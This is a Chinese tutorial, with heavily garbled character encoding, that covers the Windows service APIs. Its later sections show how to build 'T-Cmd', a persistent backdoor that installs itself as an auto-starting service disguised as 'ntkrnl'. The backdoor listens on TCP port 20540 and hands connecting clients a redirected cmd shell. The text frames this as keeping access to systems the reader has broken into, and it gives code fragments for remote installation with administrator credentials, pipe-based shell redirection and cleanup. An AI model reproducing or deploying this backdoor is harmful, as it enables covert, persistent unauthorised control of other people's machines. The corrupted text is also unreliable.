三、Windows服務(wù)與編程
Windows服務(wù)編程包括幾方面的內(nèi)容,下面我們將從服務(wù)控制程序,服務(wù)程序和服務(wù)配置程序的角度介紹服務(wù)編程相關(guān)的內(nèi)容。
1.服務(wù)控制程序
執(zhí)行服務(wù)控制程序的相關(guān)函數(shù)前,我們需要獲得一個(gè)服務(wù)對(duì)象的句柄,方式有兩種:由OpenSCManager來(lái)獲得一臺(tái)特定主機(jī)的服務(wù)控制管理器數(shù)據(jù)庫(kù)的句柄;使用OpenService或CreateService函數(shù)來(lái)獲得某個(gè)服務(wù)對(duì)象的句柄。
啟動(dòng)服務(wù):要啟動(dòng)一個(gè)服務(wù),服務(wù)控制程序可以使用StartService來(lái)實(shí)現(xiàn)。如果服務(wù)控制管理器數(shù)據(jù)庫(kù)被鎖定,那需要等待一定的時(shí)間然后再次測(cè)試
StartService函數(shù)。當(dāng)然也可以使用QueryServiceLockStatus函數(shù)來(lái)確認(rèn)數(shù)據(jù)庫(kù)的當(dāng)前狀態(tài)。在啟動(dòng)成功完成時(shí),那么
dwCurrentState參數(shù)將會(huì)返回SERVICE_RUNNING值。
服務(wù)控制請(qǐng)求:服務(wù)控制程序使用
ControlService函數(shù)來(lái)發(fā)送控制請(qǐng)求到正在運(yùn)行的服務(wù)程序。它會(huì)向控制句柄函數(shù)發(fā)送一個(gè)特定的控制命令,可以是系統(tǒng)默認(rèn)的,也可以是用戶(hù)自定
義的。而且每個(gè)服務(wù)都會(huì)確定自己將會(huì)接收的控制命令列表。使用QueryServiceStatus函數(shù)時(shí),在返回的
dwControlsAccepted參數(shù)中表明服務(wù)程序?qū)?huì)接收的控制命令。所有的服務(wù)都會(huì)接受
SERVICE_CONTROL_INTERROGATE命令。
2.服務(wù)程序
一個(gè)服務(wù)程序內(nèi)可以包含一個(gè)服務(wù)或多個(gè)服務(wù)的執(zhí)行代碼,但是它們都擁有固定的三個(gè)部分:服務(wù)main函數(shù),服務(wù)ServiceMain函數(shù)和服務(wù)Control Handler函數(shù)。
服務(wù)main函數(shù):服務(wù)程序通常是以控制臺(tái)的方式存在的,所以它們的入口點(diǎn)都是main函數(shù)。在服務(wù)控制管理器開(kāi)始一個(gè)服務(wù)程序時(shí),會(huì)等待
StartServiceCtrlDispatcher函數(shù)的執(zhí)行。如果服務(wù)類(lèi)型是SERVICE_WIN32_OWN_PROCESS就會(huì)立即調(diào)用
StartServiceCtrlDispatcher函數(shù)的執(zhí)行;如果服務(wù)類(lèi)型是SERVICE_WIN32_SHARE_PROCESS,通常在初始
化所有服務(wù)之后再調(diào)用它。StartServiceCtrlDispatcher函數(shù)的參數(shù)就是一個(gè)SERVICE_TABLE_ENTRY結(jié)構(gòu),它包含
了進(jìn)程內(nèi)所有服務(wù)的名稱(chēng)和服務(wù)入口點(diǎn)。
服務(wù)ServiceMain函數(shù):函數(shù)ServiceMain是服務(wù)的入口點(diǎn)。在服務(wù)控制程
序請(qǐng)求一個(gè)新的服務(wù)啟動(dòng)時(shí),服務(wù)控制管理器啟動(dòng)一個(gè)服務(wù),并發(fā)送一個(gè)開(kāi)始請(qǐng)求到控制調(diào)度程序,而后控制調(diào)度程序創(chuàng)建一個(gè)新線程來(lái)執(zhí)行
ServiceMain函數(shù)。ServiceMain須執(zhí)行以下的任務(wù):調(diào)用RegisterServiceCtrlHandler函數(shù)注冊(cè)一個(gè)
HandlerEx函數(shù)來(lái)向服務(wù)發(fā)送控制請(qǐng)求信息,返回值是服務(wù)狀態(tài)句柄用來(lái)向服務(wù)控制管理器傳送服務(wù)狀態(tài)。初始化后調(diào)用
SetServiceStatus函數(shù)設(shè)置服務(wù)狀態(tài)為SERVICE_RUNNING。最后,就是執(zhí)行服務(wù)所要完成的任務(wù)。
服務(wù)
Control Handler函數(shù):每個(gè)服務(wù)都有一個(gè)控制句柄HandlerEx函數(shù)。它會(huì)在服務(wù)進(jìn)程從服務(wù)控制程序接收到一個(gè)控制請(qǐng)求時(shí)被控制調(diào)度程
序所調(diào)用。無(wú)論何時(shí)在HandlerEx函數(shù)被調(diào)用時(shí),都要調(diào)用SetServiceStatus函數(shù)向服務(wù)控制管理器報(bào)告它當(dāng)前的狀態(tài)。在用戶(hù)關(guān)閉系統(tǒng)
時(shí),所有的控制句柄都會(huì)調(diào)用帶有SERVICE_ACCEPT_SHUTDOW控制代碼的SetServiceStatus函數(shù)來(lái)接收
NSERVICE_CONTROL_SHUTDOWN控制代碼。
3.服務(wù)配置程序
服務(wù)配置程序可以更改或查詢(xún)服務(wù)的當(dāng)前配置信息。在調(diào)用服務(wù)配置函數(shù)之前,必須獲得一個(gè)服務(wù)對(duì)象的句柄,當(dāng)然我們可以通過(guò)調(diào)用OpenSCManager,OpenService或CreateService函數(shù)來(lái)獲得。
創(chuàng)建,刪除服務(wù):服務(wù)配置程序使用CreateService函數(shù)在服務(wù)控制管理器的數(shù)據(jù)庫(kù)中安裝一個(gè)新服務(wù),它會(huì)提供服務(wù)的名稱(chēng)和相關(guān)的配置信息并存儲(chǔ)在數(shù)據(jù)庫(kù)中。服務(wù)配置程序則使用DeleteService函數(shù)從數(shù)據(jù)庫(kù)中刪除一個(gè)已經(jīng)安裝的服務(wù)。
四、服務(wù)級(jí)后門(mén)技術(shù)
在你進(jìn)入某個(gè)系統(tǒng)后,往往會(huì)為自己留下一個(gè)或多個(gè)后門(mén),以便今后的訪問(wèn)。在上傳一個(gè)后門(mén)程序到遠(yuǎn)程系統(tǒng)上后系統(tǒng)重啟之時(shí),總是希望后門(mén)仍然存在。那么,
將后門(mén)程序創(chuàng)建成服務(wù)程序應(yīng)該是個(gè)不錯(cuò)的想法,這就是利用了服務(wù)程序自動(dòng)運(yùn)行的機(jī)制,當(dāng)然在Windows2000的任務(wù)管理器里也很難結(jié)束一個(gè)服務(wù)程序
的進(jìn)程。
創(chuàng)建一個(gè)后門(mén),它常常會(huì)在一個(gè)端口監(jiān)聽(tīng),以方便我們使用TCP/UDP協(xié)議與遠(yuǎn)程主機(jī)建立連接,所以我們首先需要在后門(mén)程序里創(chuàng)建一個(gè)監(jiān)聽(tīng)的端口,為了數(shù)據(jù)傳輸?shù)姆€(wěn)定與安全,我們可以使用TCP協(xié)議。
那么,我們?nèi)绾尾拍苣M一個(gè)Telnet服務(wù)似的后門(mén)呢?我想大家都清楚,如果在遠(yuǎn)程主機(jī)上有一個(gè)Cmd是我們可以控制的,也就是我們可以在這個(gè)Cmd
里執(zhí)行命令,那么就可以實(shí)現(xiàn)對(duì)遠(yuǎn)程主機(jī)的控制了,至少可以執(zhí)行各種常規(guī)的系統(tǒng)命令。啟動(dòng)一個(gè)Cmd程序的方法很多,有WinExec,
ShellExecute,CreateProcess等,但只能使用CreateProcess,因?yàn)閃inExec和ShellExecute它們實(shí)
在太簡(jiǎn)單了。在使用CreateProcess時(shí),要用到它的重定向標(biāo)準(zhǔn)輸入/輸出的選項(xiàng)功能,把在本地主機(jī)的輸入重定向輸入到遠(yuǎn)程主機(jī)的Cmd進(jìn)程,并
且把遠(yuǎn)程主機(jī)Cmd進(jìn)程的標(biāo)準(zhǔn)輸出重定向到本地主機(jī)的標(biāo)準(zhǔn)輸出。這就需要在后門(mén)程序里使用CreatePipe創(chuàng)建兩個(gè)管道來(lái)實(shí)現(xiàn)進(jìn)程間的數(shù)據(jù)通信
(Inter-Process Communication,IPC)。當(dāng)然,還必須將遠(yuǎn)程主機(jī)上Cmd的標(biāo)準(zhǔn)輸入和輸出在本地主機(jī)之間進(jìn)行傳送,我們選
擇TCP協(xié)議的send和recv函數(shù)。在客戶(hù)結(jié)束訪問(wèn)后,還要調(diào)用TerminateProcess來(lái)結(jié)束創(chuàng)建的Cmd進(jìn)程。
五、關(guān)鍵函數(shù)分析
本文相關(guān)程序T-Cmd v1.0是一個(gè)服務(wù)級(jí)的后門(mén)程序,適用平臺(tái)為Windows2000/XP。它可自動(dòng)為遠(yuǎn)程/本地主機(jī)創(chuàng)建服務(wù)級(jí)后門(mén),無(wú)須使用任何額外的命令,支持本地/遠(yuǎn)程模式。重啟后,程序仍然自動(dòng)運(yùn)行,監(jiān)聽(tīng)端口20540/tcp。
1.自定義數(shù)據(jù)結(jié)構(gòu)與函數(shù)
typedef struct
{
HANDLE hPipe;
//為實(shí)現(xiàn)進(jìn)程間通信而使用的管道;
SOCKET sClient;
//與客戶(hù)端進(jìn)行通信時(shí)的客戶(hù)端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd標(biāo)準(zhǔn)輸入/輸出時(shí)使用的數(shù)據(jù)結(jié)構(gòu);
typedef struct PROCESSDATA
{
HANDLE hProcess;
//創(chuàng)建Cmd進(jìn)程時(shí)獲得的進(jìn)程句柄;
DWORD dwProcessId;
//創(chuàng)建Cmd進(jìn)程時(shí)獲得的進(jìn)程標(biāo)識(shí)符;
struct PROCESSDATA *next;
//指向下一個(gè)數(shù)據(jù)結(jié)構(gòu)的指針;
}PROCESSDATA,*PPROCESSDATA;
//在客戶(hù)結(jié)束訪問(wèn)或刪除服務(wù)時(shí)為關(guān)閉所以的Cmd進(jìn)程而創(chuàng)建的數(shù)據(jù)結(jié)構(gòu);
void WINAPI CmdStart(DWORD,LPTSTR *);
//服務(wù)程序中的“ServiceMain”:注冊(cè)服務(wù)控制句柄,創(chuàng)建服務(wù)主線程;
void WINAPI CmdControl(DWORD);
//服務(wù)程序中的“HandlerEx”:處理接收到的控制命令,刪除已創(chuàng)建的Cmd進(jìn)程;
DWORD WINAPI CmdService(LPVOID);
//服務(wù)主線程,創(chuàng)建服務(wù)監(jiān)聽(tīng)端口,在接受客戶(hù)連接時(shí),創(chuàng)建重定向Cmd標(biāo)準(zhǔn)輸入/輸出線程;
DWORD WINAPI CmdShell(LPVOID);
//創(chuàng)建管道與Cmd進(jìn)程,及Cmd的輸入/輸出線程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的輸出,讀取信息后發(fā)送到客戶(hù)端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的輸入,接收客戶(hù)端的信息輸入到Cmd進(jìn)程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果選擇遠(yuǎn)程模式,則須與遠(yuǎn)程主機(jī)建立連接,注須提供管理員權(quán)限的用戶(hù)名與密碼,密碼為空時(shí)用"NULL"代替;
void InstallCmdService(char *);
//復(fù)制傳送文件,打開(kāi)服務(wù)控制管理器,創(chuàng)建或打開(kāi)服務(wù)程序;
void RemoveCmdService(char *);
//刪除文件,停止服務(wù)后,卸載服務(wù)程序;
2.服務(wù)程序相關(guān)函數(shù)
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服務(wù)程序的名稱(chēng)和入口點(diǎn);
{NULL ,NULL }
//SERVICE_TABLE_ENTRY結(jié)構(gòu)必須以“NULL”結(jié)束;
};
StartServiceCtrlDispatcher(DispatchTable);
//連接服務(wù)控制管理器,開(kāi)始控制調(diào)度程序線程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注冊(cè)CmdControl函數(shù)為“HandlerEx”函數(shù),并初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//設(shè)置服務(wù)的當(dāng)前狀態(tài)為SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//創(chuàng)建服務(wù)主線程,實(shí)現(xiàn)后門(mén)功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局變量的同步使用;
TerminateProcess(lpProcessDataHead->hProcess,1);
//終止創(chuàng)建的Cmd進(jìn)程;
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系統(tǒng)目錄下服務(wù)程序的文件是否已經(jīng)存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//獲得當(dāng)前進(jìn)程的程序文件名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//復(fù)制文件到系統(tǒng)目錄下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打開(kāi)服務(wù)控制管理器數(shù)據(jù)庫(kù);
CreateService(schSCManager,"ntkrnl","ntkrnl",
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,
"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//創(chuàng)建服務(wù),參數(shù)包括名稱(chēng),服務(wù)類(lèi)型,開(kāi)始類(lèi)型,錯(cuò)誤類(lèi)型及文件路徑等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服務(wù)已經(jīng)創(chuàng)建,則打開(kāi)服務(wù);
StartService(schService,0,NULL);
//啟動(dòng)服務(wù)進(jìn)程;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服務(wù)狀態(tài);
DeleteService(schService);
//卸載服務(wù)程序;
DeleteFile(lpImagePath);
//刪除文件;
3.后門(mén)程序相關(guān)函數(shù)
hMutex=CreateMutex(NULL,FALSE,NULL);
//創(chuàng)建互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//創(chuàng)建處理客戶(hù)端訪問(wèn)的重定向輸入輸出線程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//創(chuàng)建用于進(jìn)程間通信的輸入/輸出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//創(chuàng)建經(jīng)重定向輸入輸出的Cmd進(jìn)程;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//創(chuàng)建處理Cmd輸入輸出的線程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待線程或進(jìn)程的結(jié)束;
ReleaseMutex(hMutex);
//釋放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//從管道中復(fù)制數(shù)據(jù)到緩沖區(qū)中,但不從管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//從管道中復(fù)制數(shù)據(jù)到緩沖區(qū)中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中寫(xiě)入從客戶(hù)端接收到的數(shù)據(jù);
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//與遠(yuǎn)程主機(jī)建立連接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//與遠(yuǎn)程主機(jī)結(jié)束連接;